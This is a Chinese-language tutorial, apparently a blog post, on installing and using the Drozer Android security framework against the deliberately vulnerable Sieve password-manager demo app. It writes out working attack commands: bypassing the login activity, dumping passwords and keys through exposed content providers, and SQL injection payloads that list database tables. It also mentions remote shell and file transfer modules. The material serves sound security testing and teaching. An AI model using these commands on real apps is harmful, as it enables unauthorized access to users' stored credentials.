利用Drozer进行Android渗透

介绍

Drozer原名mercury,是一款面向Android的综合安全评估和攻击框架,它可以全面评估安卓app的安全性,并帮助团队把app的安全风险保持在可控范围内。它可以通过与Dalivik VM、其它应用程序的IPC端点以及底层操作系统的交互,避免正处于开发阶段的android应用程序和设备暴露出不可接受的安全漏洞。

安装

drozer官网下方找到windows(.msi)和android(.apk)系统对应的下载链接;

在windows上安装msi程序,安装好之后将drozer所在的安装目录添加到环境变量中,在命令行中执行drozer console version,成功出现版本号表示安装成功。

在android真机或模拟器中安装apk程序,可以通过adb install指令直接安装。

启动

第一步:在PC的命令行中使用adb进行端口转发,转发到Drozer使用的端口31415

指令:adb forward tcp:31415 tcp:31415

第二步:在Android设备上开启Drozer Agent,点击界面最下方的开关开启drozer,可以看到状态在闪动,点击进入drozer的详情,可以看到日志提示正在等待连接。

第三步:在PC上开启Drozer console

指令:drozer console connect

成功出现安卓图标代表连接成功,查看安卓端也可以看到drozer的状态变为绿色,日志中也提示连接成功。

使用

首先,同样在drozer官网下方Resources中下载sieve.apk,这是一个密码管理工具,是官方用于展示常见安卓应用漏洞的apk,可在此处用于测试drozer的功能。

  1. 获取包名

    dz> run app.package.list -f sieve
    com.mwr.example.sieve (Sieve)

  2. 根据获取到的报名获取应用的基本信息

    dz> run app.package.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
    Application Label: Sieve
    Process Name: com.mwr.example.sieve
    Version: 1.0
    Data Directory: /data/data/com.mwr.example.sieve
    APK Path: /data/app/com.mwr.example.sieve-1/base.apk
    UID: 10065
    GID: [1028, 1015, 3003]
    Shared Libraries: null
    Shared User ID: null
    Uses Permissions:

    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE
    • android.permission.INTERNET
      Defines Permissions:
    • com.mwr.example.sieve.READ_KEYS
    • com.mwr.example.sieve.WRITE_KEYS
  3. 确定攻击面

    dz> run app.package.attacksurface com.mwr.example.sieve
    Attack Surface:
    ​ 3 activities exported
    ​ 0 broadcast receivers exported
    ​ 2 content providers exported
    ​ 2 services exported
    ​ is debuggable

  4. Activity

1) 获取 activity 信息

​ dz> run app.activity.info -a com.mwr.example.sieve
​ Package: com.mwr.example.sieve
​ com.mwr.example.sieve.FileSelectActivity
​ Permission: null
​ com.mwr.example.sieve.MainLoginActivity
​ Permission: null
​ com.mwr.example.sieve.PWList
​ Permission: null

2) 为了测试,可以先在sieve中设置好一个密码,然后退出。再在PC上执行指令直接启动 activity

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

可以看到,sieve没有输入密码就直接进入了密码保存的界面,输入密码的界面被直接绕过了。

  1. Content Provider

1) 类似activity,获取 Content Provider 信息

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
    Authority: com.mwr.example.sieve.DBContentProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.DBContentProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False
        Path Permissions:
            Path: /Keys
                Type: PATTERN_LITERAL
                Read Permission: com.mwr.example.sieve.READ_KEYS
                Write Permission: com.mwr.example.sieve.WRITE_KEYS
    Authority: com.mwr.example.sieve.FileBackupProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.FileBackupProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False

2) Content Providers (数据泄露)

先获取所有可以访问的 Uri:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
    content://com.mwr.example.sieve.DBContentProvider/Passwords
    content://com.mwr.example.sieve.DBContentProvider/Passwords/

再获取各个 Uri 的数据:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查询到数据说明存在漏洞。

3) Content Providers(SQL 注入)

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错则说明存在 SQL 注入。

如下指令可以列出所有表:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

4) 检测 SQL 注入和目录遍历

dz> run scanner.provider.injection -a com.mwr.example.sieve
dz> run scanner.provider.traversal -a com.mwr.example.sieve
  1. Service

获取 service 详情

dz> run app.service.info -a com.mwr.example.sieve
  1. 其它模块

    shell.start 在设备上开启一个交互shell

    tools.file.upload / tools.file.download 上传/下载文件到设备

    tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

常见问题

  1. Could not find java. Please ensure that it is installed and on your PATH.

解决办法:在用户主目录下建立.drozer_config.文件,建好后最后一个.会自动消失,在其中添加如下内容:

[executables]
java=java的安装路径
  1. dz> run app.package.list
    unknown module: ‘app.package.list’
    出现unknown module,这个时候在dz>中输入list,返回结果也是空白。解决方法是在先执行exit退出drozer的console,在cmd中将当前目录切换到drozer的安装路径下,然后再输入”drozer console connect”重新连接drozer。

  2. dz> drozer console connect
    [Errno 10054]

解决办法:先把手机上的drozer agent关闭再重新打开,然后在cmd中重新连接。也可能是忘记了打开drozer agent。

参考资料

http://www.tuicool.com/articles/mMNnYz
http://blog.csdn.net/liguilicsdn/article/details/51762774
https://labs.mwrinfosecurity.com/tools/drozer/
https://github.com/mwrlabs/drozer
https://www.jianshu.com/p/5a96d271691c